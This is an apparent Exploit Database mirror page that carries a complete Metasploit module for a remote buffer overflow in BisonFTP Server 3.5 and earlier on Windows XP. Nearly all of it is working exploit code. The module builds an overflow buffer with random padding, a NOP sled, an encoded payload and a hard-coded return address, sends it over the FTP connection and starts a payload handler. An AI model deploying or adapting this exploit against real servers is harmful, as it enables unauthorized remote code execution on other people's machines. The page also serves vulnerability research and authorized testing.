BisonWare BisonFTP Server 3.5 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： SecPod Research
  日期： 2011-09-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17810/

• ##############################################################################
  #
  # Title: BisonFTP Server Remote Buffer Overflow Exploit
  # Author : Veerendra G.G SecPod Technologies (www.secpod.com)
  # Advisory : http://secpod.org/blog/?p=384
  #http://secpod.org/msf/bison_server_bof.rb
  # Version: BisonFTP Server <= v3.5
  # Date : 09/07/2011
  #
  ###############################################################################
  
  ##
  # $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
  			'Description'=> %q{
  						This module exploits a buffer overflow vulnerability
  						found in the BisonFTP Server <= v3.5.
  			},
  			'Author' => 
  				[
  					'localh0t',		# Initial PoC
  					'veerendragg @ SecPod',	# Metasploit Module
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 1.0 $',
  			'References' =>
  				[
  					[ 'BID', '49109'],
  					[ 'CVE', '1999-1510'],
  					[ 'URL', 'http://secpod.org/blog/?p=384'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17649'],
  					[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 388,
  					'BadChars' => "\x00\x0a\x0d",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 EN',
  						{
  							'Ret' => 0x0040333f, # call edx from Bisonftp.exe
  							'Offset' => 1432
  						}
  					],
  				],
  			'DisclosureDate' => 'Aug 07 2011',
  			'DefaultTarget'	=> 0))
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  		print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
  		sploit = rand_text_alpha(1028)					## Random Buffer
  		sploit << "\x90" * 16						## Padding
  		sploit << payload.encoded					## Encoded Payload
  		sploit << "\x90" * (388 - payload.encoded.length)		## More Nops
  		sploit << [target.ret].pack('V')				## Return Address
  		sploit << rand_text_alpha(39)					## MOre Buffer
  
  		print_status("Sending payload...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end